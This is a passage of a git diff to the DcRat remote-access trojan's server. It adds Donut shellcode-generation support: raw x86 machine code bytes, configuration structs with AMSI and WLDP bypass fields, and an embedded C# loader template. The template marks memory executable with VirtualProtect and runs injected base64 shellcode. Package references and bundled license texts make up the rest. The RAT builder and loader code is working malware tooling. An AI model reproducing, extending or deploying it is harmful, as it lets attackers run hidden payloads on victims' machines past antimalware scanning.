0xc4, 0x18, 0x8b, 0x44, 0x24, 0x2c, 0x8b, 0x74, 0x24, + 0x10, 0xc1, 0xe0, 0x03, 0x46, 0x6a, 0x10, 0x89, 0x44, 0x24, 0x24, 0x5f, + 0x89, 0x74, 0x24, 0x10, 0x83, 0xff, 0x10, 0x75, 0x15, 0x55, 0x8d, 0x44, + 0x24, 0x18, 0x53, 0x50, 0xe8, 0x21, 0x00, 0x00, 0x00, 0x83, 0xc4, 0x0c, + 0x33, 0xd8, 0x33, 0xea, 0x33, 0xff, 0x8b, 0x44, 0x24, 0x2c, 0x85, 0xf6, + 0x0f, 0x84, 0x67, 0xff, 0xff, 0xff, 0x5f, 0x5e, 0x8b, 0xd5, 0x8b, 0xc3, + 0x5d, 0x5b, 0x83, 0xc4, 0x14, 0xc3, 0x83, 0xec, 0x10, 0x8b, 0x44, 0x24, + 0x18, 0x8b, 0x54, 0x24, 0x1c, 0x53, 0x55, 0x56, 0x8b, 0x74, 0x24, 0x20, + 0x33, 0xdb, 0x57, 0x8d, 0x7c, 0x24, 0x10, 0xa5, 0xa5, 0xa5, 0xa5, 0x8b, + 0x4c, 0x24, 0x14, 0x8b, 0x74, 0x24, 0x1c, 0x8b, 0x6c, 0x24, 0x18, 0x8b, + 0x7c, 0x24, 0x10, 0x89, 0x4c, 0x24, 0x28, 0x8b, 0xce, 0xc1, 0xc8, 0x08, + 0x8b, 0x74, 0x24, 0x28, 0x03, 0xc2, 0xc1, 0xce, 0x08, 0x33, 0xc7, 0x03, + 0xf7, 0xc1, 0xc2, 0x03, 0x33, 0xf3, 0xc1, 0xc7, 0x03, 0x33, 0xd0, 0x89, + 0x6c, 0x24, 0x28, 0x33, 0xfe, 0x8b, 0xe9, 0x43, 0x83, 0xfb, 0x1b, 0x72, + 0xd6, 0x5f, 0x5e, 0x5d, 0x5b, 0x83, 0xc4, 0x10, 0xc3, 0x8b, 0x54, 0x24, + 0x10, 0x83, 0xec, 0x14, 0x53, 0x8b, 0x5c, 0x24, 0x24, 0x85, 0xd2, 0x0f, + 0x84, 0xe8, 0x00, 0x00, 0x00, 0x8b, 0x44, 0x24, 0x20, 0x55, 0x33, 0xed, + 0x45, 0x56, 0x8d, 0x48, 0x0f, 0x2b, 0xe8, 0x57, 0x89, 0x4c, 0x24, 0x10, + 0x89, 0x6c, 0x24, 0x34, 0x8b, 0xf0, 0x8d, 0x7c, 0x24, 0x14, 0x33, 0xc9, + 0xa5, 0xa5, 0xa5, 0xa5, 0x8b, 0x74, 0x24, 0x28, 0x8b, 0x04, 0x8e, 0x31, + 0x44, 0x8c, 0x14, 0x41, 0x83, 0xf9, 0x04, 0x72, 0xf3, 0x8b, 0x74, 0x24, + 0x20, 0x8b, 0x44, 0x24, 0x1c, 0x8b, 0x7c, 0x24, 0x18, 0x8b, 0x4c, 0x24, + 0x14, 0xc7, 0x44, 0x24, 0x30, 0x10, 0x00, 0x00, 0x00, 0x03, 0xcf, 0x03, + 0xc6, 0xc1, 0xc7, 0x05, 0x33, 0xf9, 0xc1, 0xc6, 0x08, 0x33, 0xf0, 0xc1, + 0xc1, 0x10, 0x03, 0xc7, 0x03, 0xce, 0xc1, 0xc7, 0x07, 0xc1, 0xc6, 0x0d, + 0x33, 0xf8, 0x33, 0xf1, 0xc1, 0xc0, 0x10, 0x83, 0x6c, 0x24, 0x30, 0x01, + 0x75, 0xd7, 0x8b, 0x6c, 0x24, 0x28, 0x89, 0x4c, 0x24, 0x14, 0x33, 0xc9, + 0x89, 0x74, 0x24, 0x20, 0x89, 0x7c, 0x24, 0x18, 0x89, 0x44, 0x24, 0x1c, + 0x8b, 0x44, 0x8d, 0x00, 0x31, 0x44, 0x8c, 0x14, 0x41, 0x83, 0xf9, 0x04, + 0x72, 0xf2, 0x8b, 0x6c, 0x24, 0x34, 0x8b, 0xca, 0x6a, 0x10, 0x58, 0x3b, + 0xd0, 0x0f, 0x47, 0xc8, 0x85, 0xc9, 0x7e, 0x19, 0x8d, 0x7c, 0x24, 0x14, + 0x8b, 0xf3, 0x2b, 0xfb, 0x8b, 0xe9, 0x8a, 0x04, 0x37, 0x30, 0x06, 0x46, + 0x83, 0xed, 0x01, 0x75, 0xf5, 0x8b, 0x6c, 0x24, 0x34, 0x2b, 0xd1, 0x03, + 0xd9, 0x8b, 0x4c, 0x24, 0x10, 0x80, 0x01, 0x01, 0x75, 0x08, 0x49, 0x8d, + 0x04, 0x29, 0x85, 0xc0, 0x7f, 0xf3, 0x8b, 0x44, 0x24, 0x2c, 0x85, 0xd2, + 0x0f, 0x85, 0x32, 0xff, 0xff, 0xff, 0x5f, 0x5e, 0x5d, 0x5b, 0x83, 0xc4, + 0x14, 0xc3, 0x8b, 0x54, 0x24, 0x0c, 0x8b, 0x44, 0x24, 0x04, 0x56, 0x8b, + 0xf0, 0x85, 0xd2, 0x74, 0x13, 0x57, 0x8b, 0x7c, 0x24, 0x10, 0x2b, 0xf8, + 0x8a, 0x0c, 0x37, 0x88, 0x0e, 0x46, 0x83, 0xea, 0x01, 0x75, 0xf5, 0x5f, + 0x5e, 0xc3, 0x8a, 0x44, 0x24, 0x08, 0x8b, 0x4c, 0x24, 0x0c, 0x57, 0x8b, + 0x7c, 0x24, 0x08, 0xf3, 0xaa, 0x8b, 0x44, 0x24, 0x08, 0x5f, 0xc3}; + + } +} diff --git a/Server/Helper/Donut/Structs/DSConfig.cs b/Server/Helper/Donut/Structs/DSConfig.cs new file mode 100644 index 0000000..2a601e3 --- /dev/null +++ b/Server/Helper/Donut/Structs/DSConfig.cs @@ -0,0 +1,41 @@ +using System; +using System.Runtime.InteropServices; + +namespace Server.Helper.Donut.Structs +{ + public unsafe struct DSConfig + { + public int arch; + public int bypass; + [MarshalAs(UnmanagedType.ByValArray, SizeConst = Constants.DONUT_MAX_NAME)] + public char[] domain; + [MarshalAs(UnmanagedType.ByValArray, SizeConst = Constants.DONUT_MAX_NAME)] + public char[] cls; + [MarshalAs(UnmanagedType.ByValArray, SizeConst = Constants.DONUT_MAX_NAME)] + public char[] method; + [MarshalAs(UnmanagedType.ByValArray, SizeConst = (Constants.DONUT_MAX_PARAM+1)* Constants.DONUT_MAX_NAME)] + public char[] param; + [MarshalAs(UnmanagedType.ByValArray, SizeConst = Constants.DONUT_MAX_NAME)] + public char[] file; + [MarshalAs(UnmanagedType.ByValArray, SizeConst = Constants.DONUT_MAX_URL)] + public char[] url; + [MarshalAs(UnmanagedType.ByValArray, SizeConst = Constants.DONUT_MAX_NAME)] + public char[] runtime; + [MarshalAs(UnmanagedType.ByValArray, SizeConst = Constants.DONUT_MAX_NAME)] + public char[] modname; + [MarshalAs(UnmanagedType.ByValArray, SizeConst = Constants.DONUT_MAX_NAME)] + public char[] outfile; + + public int mod_type; + public UInt64 mod_len; + public DSModule mod; + + public int inst_type; + public UInt64 inst_len; + public DSInstance inst; + + public int pic_cnt; + public UInt64 pic_len; + public IntPtr pic; + } +} diff --git a/Server/Helper/Donut/Structs/DSCrypt.cs b/Server/Helper/Donut/Structs/DSCrypt.cs new file mode 100644 index 0000000..8921330 --- /dev/null +++ b/Server/Helper/Donut/Structs/DSCrypt.cs @@ -0,0 +1,12 @@ +using System.Runtime.InteropServices; + +namespace Server.Helper.Donut.Structs +{ + public struct DSCrypt + { + [MarshalAs(UnmanagedType.ByValArray, SizeConst = 16)] + public byte[] mk; + [MarshalAs(UnmanagedType.ByValArray, SizeConst = 16)] + public byte[] ctr; + } +} diff --git a/Server/Helper/Donut/Structs/DSFileInfo.cs b/Server/Helper/Donut/Structs/DSFileInfo.cs new file mode 100644 index 0000000..df01b04 --- /dev/null +++ b/Server/Helper/Donut/Structs/DSFileInfo.cs @@ -0,0 +1,16 @@ +using System; +using System.Runtime.InteropServices; + +namespace Server.Helper.Donut.Structs +{ + public struct DSFileInfo + { + public int fd; + public UInt64 size; + public byte map; + public int type; + public int arch; + [MarshalAs(UnmanagedType.ByValArray, SizeConst = Constants.DONUT_VER_LEN)] + public char[] ver; + } +} diff --git a/Server/Helper/Donut/Structs/DSInstance.cs b/Server/Helper/Donut/Structs/DSInstance.cs new file mode 100644 index 0000000..91397cd --- /dev/null +++ b/Server/Helper/Donut/Structs/DSInstance.cs @@ -0,0 +1,99 @@ +using System; +using System.Runtime.InteropServices; + +namespace Server.Helper.Donut.Structs +{ + public struct DSInstance + { + public UInt32 len; + public DSCrypt key; + public UInt64 iv; + public API api; + public int api_cnt; + public int dll_cnt; + [MarshalAs(UnmanagedType.ByValArray, SizeConst = Constants.DONUT_MAX_DLL)] + public DLL[] d; + public AMSI amsi; + public int bypass; + [MarshalAs(UnmanagedType.ByValArray, SizeConst = 8)] + public char[] clr; + [MarshalAs(UnmanagedType.ByValArray, SizeConst = 16)] + public char[] wldp; + [MarshalAs(UnmanagedType.ByValArray, SizeConst = 32)] + public char[] wldpQuery; + [MarshalAs(UnmanagedType.ByValArray, SizeConst = 32)] + public char[] wldpIsApproved; + [MarshalAs(UnmanagedType.ByValArray, SizeConst = 16)] + public char[] amsiInit; + [MarshalAs(UnmanagedType.ByValArray, SizeConst = 16)] + public char[] amsiScanBuf; + [MarshalAs(UnmanagedType.ByValArray, SizeConst = 16)] + public char[] amsiScanStr; + + [MarshalAs(UnmanagedType.ByValArray, SizeConst = 16)] + public char[] wscript; + [MarshalAs(UnmanagedType.ByValArray, SizeConst = 32)] + public char[] wscript_exe; + + [MarshalAs(UnmanagedType.Struct, SizeConst = 16)] + public Guid xIID_IUnknown; + [MarshalAs(UnmanagedType.Struct, SizeConst = 16)] + public Guid xIID_IDispatch; + + // GUID required to load .NET assemblies + [MarshalAs(UnmanagedType.Struct, SizeConst = 16)] + public Guid xCLSID_CLRMetaHost; + [MarshalAs(UnmanagedType.Struct, SizeConst = 16)] + public Guid xIID_ICLRMetaHost; + [MarshalAs(UnmanagedType.Struct, SizeConst = 16)] + public Guid xIID_ICLRRuntimeInfo; + [MarshalAs(UnmanagedType.Struct, SizeConst = 16)] + public Guid xCLSID_CorRuntimeHost; + [MarshalAs(UnmanagedType.Struct, SizeConst = 16)] + public Guid xIID_ICorRuntimeHost; + [MarshalAs(UnmanagedType.Struct, SizeConst = 16)] + public Guid xIID_AppDomain; + + public int type; + + public DSHttp http; + + [MarshalAs(UnmanagedType.ByValArray, SizeConst = 256)] + public char[] sig; + public UInt64 mac; + public DSCrypt mod_key; + public UInt64 mod_len; + public MODULE module; + } + + [StructLayout(LayoutKind.Explicit)] + public unsafe struct API + { + [MarshalAs(UnmanagedType.ByValArray, SizeConst = 64)] + [FieldOffset(0)] public UInt64[] hash; + [MarshalAs(UnmanagedType.ByValArray, SizeConst = 64)] + [FieldOffset(0)] public void*[] addr; + } + [StructLayout(LayoutKind.Sequential)] + public struct DLL + { + [MarshalAs(UnmanagedType.ByValArray, SizeConst = 32)] + public char[] dll_name; + } + + [StructLayout(LayoutKind.Explicit)] + public unsafe struct MODULE + { + [FieldOffset(0)] public IntPtr x; + [FieldOffset(0)] public IntPtr p; + } + + [StructLayout(LayoutKind.Explicit)] + public struct AMSI + { + [MarshalAs(UnmanagedType.ByValArray, SizeConst = 8)] + [FieldOffset(0)] public char[] s; + [MarshalAs(UnmanagedType.ByValArray, SizeConst = 2)] + [FieldOffset(0)] public UInt32[] w; + } +} diff --git a/Server/Helper/Donut/Structs/DSModule.cs b/Server/Helper/Donut/Structs/DSModule.cs new file mode 100644 index 0000000..289a482 --- /dev/null +++ b/Server/Helper/Donut/Structs/DSModule.cs @@ -0,0 +1,33 @@ +using System; +using System.Runtime.InteropServices; + +namespace Server.Helper.Donut.Structs +{ + [StructLayout(LayoutKind.Sequential, CharSet = CharSet.Ansi)] + public struct DSModule + { + public int type; + [MarshalAs(UnmanagedType.ByValArray, SizeConst = Constants.DONUT_MAX_NAME*2)] + public byte[] runtime; + [MarshalAs(UnmanagedType.ByValArray, SizeConst = Constants.DONUT_MAX_NAME*2)] + public byte[] domain; + [MarshalAs(UnmanagedType.ByValArray, SizeConst = Constants.DONUT_MAX_NAME*2)] + public byte[] cls; + [MarshalAs(UnmanagedType.ByValArray, SizeConst = Constants.DONUT_MAX_NAME*2)] + public byte[] method; + public int param_cnt; + [MarshalAs(UnmanagedType.ByValArray, SizeConst = 8)] + public P[] p; + [MarshalAs(UnmanagedType.ByValArray, SizeConst = Constants.DONUT_MAX_NAME)] + public char[] sig; + public UInt64 mac; + public UInt64 len; + public IntPtr data; + } + [StructLayout(LayoutKind.Sequential)] + public struct P + { + [MarshalAs(UnmanagedType.ByValArray, SizeConst = Constants.DONUT_MAX_NAME*2)] + public byte[] param; + } +} diff --git a/Server/Helper/Donut/Structs/DShttp.cs b/Server/Helper/Donut/Structs/DShttp.cs new file mode 100644 index 0000000..28772e3 --- /dev/null +++ b/Server/Helper/Donut/Structs/DShttp.cs @@ -0,0 +1,12 @@ +using System.Runtime.InteropServices; + +namespace Server.Helper.Donut.Structs +{ + public struct DSHttp + { + [MarshalAs(UnmanagedType.ByValArray, SizeConst = 256)] + public char[] url; + [MarshalAs(UnmanagedType.ByValArray, SizeConst = 8)] + public char[] req; + } +} diff --git a/Server/Properties/Resources.Designer.cs b/Server/Properties/Resources.Designer.cs index 311d552..887965f 100644 --- a/Server/Properties/Resources.Designer.cs +++ b/Server/Properties/Resources.Designer.cs @@ -238,6 +238,31 @@ namespace Server.Properties { } } + /// + /// 查找类似 using System; + ///using System.Runtime.InteropServices; + /// + ///namespace DcRat_Shellcode_Loader + ///{ + /// public class ShellCode + /// { + /// [UnmanagedFunctionPointer(CallingConvention.Cdecl)] + /// private delegate int Run(); + /// + /// public static bool ShellCodeExecute(byte[] ShellCode) + /// { + /// try + /// { + /// GCHandle pinnedArray = GCHandle.Alloc(ShellCode, GCHandleType.Pinned); + /// IntPtr ptr = pinnedArray.AddrOfPinnedObject(); + /// Marshal.Co [字符串的其余部分被截断]"; 的本地化字符串。 + /// + public static string ShellcodeLoader { + get { + return ResourceManager.GetString("ShellcodeLoader", resourceCulture); + } + } + /// /// 查找 System.Drawing.Bitmap 类型的本地化资源。 /// diff --git a/Server/Properties/Resources.resx b/Server/Properties/Resources.resx index 41ca460..39247c6 100644 --- a/Server/Properties/Resources.resx +++ b/Server/Properties/Resources.resx @@ -184,4 +184,52 @@ ..\Resources\DcRat_png.png;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a + + using System; +using System.Runtime.InteropServices; + +namespace DcRat_Shellcode_Loader +{ + public class ShellCode + { + [UnmanagedFunctionPointer(CallingConvention.Cdecl)] + private delegate int Run(); + + public static bool ShellCodeExecute(byte[] ShellCode) + { + try + { + GCHandle pinnedArray = GCHandle.Alloc(ShellCode, GCHandleType.Pinned); + IntPtr ptr = pinnedArray.AddrOfPinnedObject(); + Marshal.Copy(ShellCode, 0, ptr, ShellCode.Length); + + //uint flOldProtect = 0; + bool ChangeProtection = VirtualProtect(ptr, (UIntPtr)ShellCode.Length, 0x40, out uint flOldProtect); + if (!ChangeProtection) + { + return false; + } + Run del = (Run)Marshal.GetDelegateForFunctionPointer(ptr, typeof(Run)); + del(); + return true; + } + catch (Exception e) + { + Console.Error.WriteLine("ShellCodeExecute exception: " + e.Message); + } + return false; + } + + [DllImport("kernel32.dll")] + public static extern bool VirtualProtect(IntPtr lpAddress, UIntPtr dwSize, uint flNewProtect, out uint lpflOldProtect); + + static void Main() + { + byte[] buf = Convert.FromBase64String("%shellcode%"); + + ShellCodeExecute(buf); + } + } +} + \ No newline at end of file diff --git a/Server/Server.csproj b/Server/Server.csproj index adeecb1..ea02715 100644 --- a/Server/Server.csproj +++ b/Server/Server.csproj @@ -86,6 +86,12 @@ ..\packages\Newtonsoft.Json.12.0.3\lib\net45\Newtonsoft.Json.dll + + ..\packages\PeNet.1.1.1\lib\net461\PeNet.dll + + + ..\packages\PeNet.Asn1.1.3.3\lib\net461\PeNet.Asn1.dll + ..\packages\protobuf-net.2.4.6\lib\net40\protobuf-net.dll @@ -112,6 +118,10 @@ ..\packages\System.Runtime.CompilerServices.Unsafe.4.5.3\lib\net461\System.Runtime.CompilerServices.Unsafe.dll + + + ..\packages\System.Security.Cryptography.Pkcs.4.5.2\lib\net461\System.Security.Cryptography.Pkcs.dll + ..\packages\System.Threading.Thread.4.3.0\lib\net46\System.Threading.Thread.dll @@ -322,6 +332,18 @@ + + + + + + + + + + + + diff --git a/Server/packages.config b/Server/packages.config index 1a6c8d1..d03bb49 100644 --- a/Server/packages.config +++ b/Server/packages.config @@ -6,12 +6,15 @@ + + + \ No newline at end of file diff --git a/packages/PeNet.1.1.1/.signature.p7s b/packages/PeNet.1.1.1/.signature.p7s new file mode 100644 index 0000000..636a6a0 Binary files /dev/null and b/packages/PeNet.1.1.1/.signature.p7s differ diff --git a/packages/PeNet.1.1.1/PeNet.1.1.1.nupkg b/packages/PeNet.1.1.1/PeNet.1.1.1.nupkg new file mode 100644 index 0000000..560b8c4 Binary files /dev/null and b/packages/PeNet.1.1.1/PeNet.1.1.1.nupkg differ diff --git a/packages/PeNet.1.1.1/lib/net461/PeNet.dll b/packages/PeNet.1.1.1/lib/net461/PeNet.dll new file mode 100644 index 0000000..9332b7e Binary files /dev/null and b/packages/PeNet.1.1.1/lib/net461/PeNet.dll differ diff --git a/packages/PeNet.1.1.1/lib/netstandard2.0/PeNet.dll b/packages/PeNet.1.1.1/lib/netstandard2.0/PeNet.dll new file mode 100644 index 0000000..5df92c4 Binary files /dev/null and b/packages/PeNet.1.1.1/lib/netstandard2.0/PeNet.dll differ diff --git a/packages/PeNet.1.1.1/lib/netstandard2.1/PeNet.dll b/packages/PeNet.1.1.1/lib/netstandard2.1/PeNet.dll new file mode 100644 index 0000000..9d179aa Binary files /dev/null and b/packages/PeNet.1.1.1/lib/netstandard2.1/PeNet.dll differ diff --git a/packages/PeNet.Asn1.1.3.3/.signature.p7s b/packages/PeNet.Asn1.1.3.3/.signature.p7s new file mode 100644 index 0000000..6f755b0 Binary files /dev/null and b/packages/PeNet.Asn1.1.3.3/.signature.p7s differ diff --git a/packages/PeNet.Asn1.1.3.3/PeNet.Asn1.1.3.3.nupkg b/packages/PeNet.Asn1.1.3.3/PeNet.Asn1.1.3.3.nupkg new file mode 100644 index 0000000..29dd3f6 Binary files /dev/null and b/packages/PeNet.Asn1.1.3.3/PeNet.Asn1.1.3.3.nupkg differ diff --git a/packages/PeNet.Asn1.1.3.3/lib/net40/PeNet.Asn1.dll b/packages/PeNet.Asn1.1.3.3/lib/net40/PeNet.Asn1.dll new file mode 100644 index 0000000..ccebfb7 Binary files /dev/null and b/packages/PeNet.Asn1.1.3.3/lib/net40/PeNet.Asn1.dll differ diff --git a/packages/PeNet.Asn1.1.3.3/lib/net461/PeNet.Asn1.dll b/packages/PeNet.Asn1.1.3.3/lib/net461/PeNet.Asn1.dll new file mode 100644 index 0000000..86211c6 Binary files /dev/null and b/packages/PeNet.Asn1.1.3.3/lib/net461/PeNet.Asn1.dll differ diff --git a/packages/PeNet.Asn1.1.3.3/lib/netstandard1.6/PeNet.Asn1.dll b/packages/PeNet.Asn1.1.3.3/lib/netstandard1.6/PeNet.Asn1.dll new file mode 100644 index 0000000..30ed113 Binary files /dev/null and b/packages/PeNet.Asn1.1.3.3/lib/netstandard1.6/PeNet.Asn1.dll differ diff --git a/packages/PeNet.Asn1.1.3.3/lib/netstandard2.0/PeNet.Asn1.dll b/packages/PeNet.Asn1.1.3.3/lib/netstandard2.0/PeNet.Asn1.dll new file mode 100644 index 0000000..441ac4e Binary files /dev/null and b/packages/PeNet.Asn1.1.3.3/lib/netstandard2.0/PeNet.Asn1.dll differ diff --git a/packages/System.Security.Cryptography.Pkcs.4.5.2/.signature.p7s b/packages/System.Security.Cryptography.Pkcs.4.5.2/.signature.p7s new file mode 100644 index 0000000..05161be Binary files /dev/null and b/packages/System.Security.Cryptography.Pkcs.4.5.2/.signature.p7s differ diff --git a/packages/System.Security.Cryptography.Pkcs.4.5.2/LICENSE.TXT b/packages/System.Security.Cryptography.Pkcs.4.5.2/LICENSE.TXT new file mode 100644 index 0000000..984713a --- /dev/null +++ b/packages/System.Security.Cryptography.Pkcs.4.5.2/LICENSE.TXT @@ -0,0 +1,23 @@ +The MIT License (MIT) + +Copyright (c) .NET Foundation and Contributors + +All rights reserved. + +Permission is hereby granted, free of charge, to any person obtaining a copy +of this software and associated documentation files (the "Software"), to deal +in the Software without restriction, including without limitation the rights +to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +copies of the Software, and to permit persons to whom the Software is +furnished to do so, subject to the following conditions: + +The above copyright notice and this permission notice shall be included in all +copies or substantial portions of the Software. + +THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE +SOFTWARE. diff --git a/packages/System.Security.Cryptography.Pkcs.4.5.2/System.Security.Cryptography.Pkcs.4.5.2.nupkg b/packages/System.Security.Cryptography.Pkcs.4.5.2/System.Security.Cryptography.Pkcs.4.5.2.nupkg new file mode 100644 index 0000000..20f5a0e Binary files /dev/null and b/packages/System.Security.Cryptography.Pkcs.4.5.2/System.Security.Cryptography.Pkcs.4.5.2.nupkg differ diff --git a/packages/System.Security.Cryptography.Pkcs.4.5.2/THIRD-PARTY-NOTICES.TXT b/packages/System.Security.Cryptography.Pkcs.4.5.2/THIRD-PARTY-NOTICES.TXT new file mode 100644 index 0000000..db542ca --- /dev/null +++ b/packages/System.Security.Cryptography.Pkcs.4.5.2/THIRD-PARTY-NOTICES.TXT @@ -0,0 +1,309 @@ +.NET Core uses third-party libraries or other resources that may be +distributed under licenses different than the .NET Core software. + +In the event that we accidentally failed to list a required notice, please +bring it to our attention. Post an issue or email us: + + dotnet@microsoft.com + +The attached notices are provided for information only. + +License notice for Slicing-by-8 +------------------------------- + +http://sourceforge.net/projects/slicing-by-8/ + +Copyright (c) 2004-2006 Intel Corporation - All Rights Reserved + + +This software program is licensed subject to the BSD License, available at +http://www.opensource.org/licenses/bsd-license.html. + + +License notice for Unicode data +------------------------------- + +http://www.unicode.org/copyright.html#License + +Copyright © 1991-2017 Unicode, Inc. All rights reserved. +Distributed under the Terms of Use in http://www.unicode.org/copyright.html. + +Permission is hereby granted, free of charge, to any person obtaining +a copy of the Unicode data files and any associated documentation +(the "Data Files") or Unicode software and any associated documentation +(the "Software") to deal in the Data Files or Software +without restriction, including without limitation the rights to use, +copy, modify, merge, publish, distribute, and/or sell copies of +the Data Files or Software, and to permit persons to whom the Data Files +or Software are furnished to do so, provided that either +(a) this copyright and permission notice appear with all copies +of the Data Files or Software, or +(b) this copyright and permission notice appear in associated +Documentation. + +THE DATA FILES AND SOFTWARE ARE PROVIDED "AS IS", WITHOUT WARRANTY OF +ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE +WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND +NONINFRINGEMENT OF THIRD PARTY RIGHTS. +IN NO EVENT SHALL THE COPYRIGHT HOLDER OR HOLDERS INCLUDED IN THIS +NOTICE BE LIABLE FOR ANY CLAIM, OR ANY SPECIAL INDIRECT OR CONSEQUENTIAL +DAMAGES, OR ANY DAMAGES WHATSOEVER RESULTING FROM LOSS OF USE, +DATA OR PROFITS, WHETHER IN AN ACTION OF CONTRACT, NEGLIGENCE OR OTHER +TORTIOUS ACTION, ARISING OUT OF OR IN CONNECTION WITH THE USE OR +PERFORMANCE OF THE DATA FILES OR SOFTWARE. + +Except as contained in this notice, the name of a copyright holder +shall not be used in advertising or otherwise to promote the sale, +use or other dealings in these Data Files or Software without prior +written authorization of the copyright holder. + +License notice for Zlib +----------------------- + +https://github.com/madler/zlib +http://zlib.net/zlib_license.html + +/* zlib.h -- interface of the 'zlib' general purpose compression library + version 1.2.11, January 15th, 2017 + + Copyright (C) 1995-2017 Jean-loup Gailly and Mark Adler + + This software is provided 'as-is', without any express or implied + warranty. In no event will the authors be held liable for any damages + arising from the use of this software. + + Permission is granted to anyone to use this software for any purpose, + including commercial applications, and to alter it and redistribute it + freely, subject to the following restrictions: + + 1. The origin of this software must not be misrepresented; you must not + claim that you wrote the original software. If you use this software + in a product, an acknowledgment in the product documentation would be + appreciated but is not required. + 2. Altered source versions must be plainly marked as such, and must not be + misrepresented as being the original software. + 3. This notice may not be removed or altered from any source distribution. + + Jean-loup Gailly Mark Adler + jloup@gzip.org madler@alumni.caltech.edu + +*/ + +License notice for Mono +------------------------------- + +http://www.mono-project.com/docs/about-mono/ + +Copyright (c) .NET Foundation Contributors + +MIT License + +Permission is hereby granted, free of charge, to any person obtaining a copy +of this software and associated documentation files (the Software), to deal +in the Software without restriction, including without limitation the rights +to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +copies of the Software, and to permit persons to whom the Software is +furnished to do so, subject to the following conditions: + +The above copyright notice and this permission notice shall be included in all +copies or substantial portions of the Software. + +THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, +EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF +MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND +NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE +LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION +OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION +WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. + +License notice for International Organization for Standardization +----------------------------------------------------------------- + +Portions (C) International Organization for Standardization 1986: + Permission to copy in any form is granted for use with + conforming SGML systems and applications as defined in + ISO 8879, provided this notice is included in all copies. + +License notice for Intel +------------------------ + +"Copyright (c) 2004-2006 Intel Corporation - All Rights Reserved + +Redistribution and use in source and binary forms, with or without +modification, are permitted provided that the following conditions are met: + +1. Redistributions of source code must retain the above copyright notice, this +list of conditions and the following disclaimer. + +2. Redistributions in binary form must reproduce the above copyright notice, +this list of conditions and the following disclaimer in the documentation +and/or other materials provided with the distribution. + +THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" +AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE +IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE +DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE +FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL +DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR +SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER +CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, +OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE +OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. + +License notice for Xamarin and Novell +------------------------------------- + +Copyright (c) 2015 Xamarin, Inc (http://www.xamarin.com) + +Permission is hereby granted, free of charge, to any person obtaining a copy +of this software and associated documentation files (the "Software"), to deal +in the Software without restriction, including without limitation the rights +to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +copies of the Software, and to permit persons to whom the Software is +furnished to do so, subject to the following conditions: + +The above copyright notice and this permission notice shall be included in +all copies or substantial portions of the Software. + +THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN +THE SOFTWARE. + +Copyright (c) 2011 Novell, Inc (http://www.novell.com) + +Permission is hereby granted, free of charge, to any person obtaining a copy +of this software and associated documentation files (the "Software"), to deal +in the Software without restriction, including without limitation the rights +to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +copies of the Software, and to permit persons to whom the Software is +furnished to do so, subject to the following conditions: + +The above copyright notice and this permission notice shall be included in +all copies or substantial portions of the Software. + +THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR 